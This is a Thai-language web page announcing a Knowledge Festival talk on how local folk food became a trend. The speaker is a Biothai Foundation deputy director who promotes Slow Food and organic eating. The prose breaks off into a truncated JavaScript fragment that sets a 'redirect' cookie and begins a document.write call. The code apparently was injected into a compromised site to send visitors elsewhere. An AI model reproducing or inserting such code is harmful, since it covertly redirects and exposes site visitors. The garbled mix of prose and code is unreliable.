งานมหกรรมความรู้ ( Knowledge Festival ครั้งที่ 3 ) จัดโดยสำนักงานบริหารและพัฒนาองค์ความรู้ (องค์การมหาชน) พบกับLong Table Symposium: อาหารบ้านบ้าน | หัวข้อ "เมื่ออาหารพื้นถิ่นกลายเป็นเทรนด์" โดย กิ่งกร นรินทรกุล ณ อยุธยา รองผู้อำนวยการมูลนิธิชีววิถี
ผู้ริเริ่มโครงการ "กิน เปลี่ยน โลก" ร่วมกับสสส. และเครือข่ายเกษตรกร เพื่อสนับสนุน Slow Food ในไทยให้กลับสู่วิถีธรรมชาติ สร้างความมั่นคงทางอาหารและให้ความรู้แก่ผู้บริโภคในการเลือกอาหารที่มาจากการผลิตที่ไม่ก่อมลภาวะต่อสิ่งแวดล้อม เป็นอาหารที่สดใหม่ ปราศจากสารพิษทำลายสุขภาพคนและโลก ที่สำคัญคือ เขามีความรู้เกี่ยวกับเทรนด์ Slow Food / Organic Food และอาหารพื้นบ้านเป็นอย่างดี ie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('